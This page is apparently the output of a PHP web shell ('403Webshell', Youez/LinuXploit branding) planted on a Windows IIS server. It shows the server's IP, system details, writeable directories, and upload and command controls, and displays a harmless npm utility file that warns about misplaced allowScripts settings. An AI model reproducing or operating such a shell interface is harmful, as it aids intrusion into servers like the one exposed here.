403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.217.51
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/nodejs/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/Program Files/nodejs/node_modules/npm/lib/utils/warn-workspace-allow-scripts.js
const { log } = require('proc-log')

// The allowScripts policy MUST live at the project root (RFC npm/rfcs#868).
// A non-root workspace declaring its own allowScripts is almost always a
// mistake: that policy would be silently ignored at install time.
//
// `findWorkspaceAllowScripts` returns the list of offending workspace nodes.
// `warnWorkspaceAllowScripts` is the side-effecting variant that emits one
// install-time `log.warn` per offender.

const findWorkspaceAllowScripts = (tree) => {
  const offenders = []
  if (!tree?.inventory) {
    return offenders
  }
  for (const node of tree.inventory.values()) {
    if (!node.isWorkspace || node.isProjectRoot) {
      continue
    }
    if (node.package?.allowScripts !== undefined) {
      offenders.push(node)
    }
  }
  return offenders
}

const warnWorkspaceAllowScripts = (tree) => {
  for (const node of findWorkspaceAllowScripts(tree)) {
    const name = node.packageName || node.name
    log.warn(
      'install-scripts',
      `allowScripts in workspace ${name} (${node.path}) is ignored. ` +
      'Move the field to the project root package.json.'
    )
  }
}

module.exports = warnWorkspaceAllowScripts
module.exports.warnWorkspaceAllowScripts = warnWorkspaceAllowScripts
module.exports.findWorkspaceAllowScripts = findWorkspaceAllowScripts

Youez - 2016 - github.com/yon3zu
LinuXploit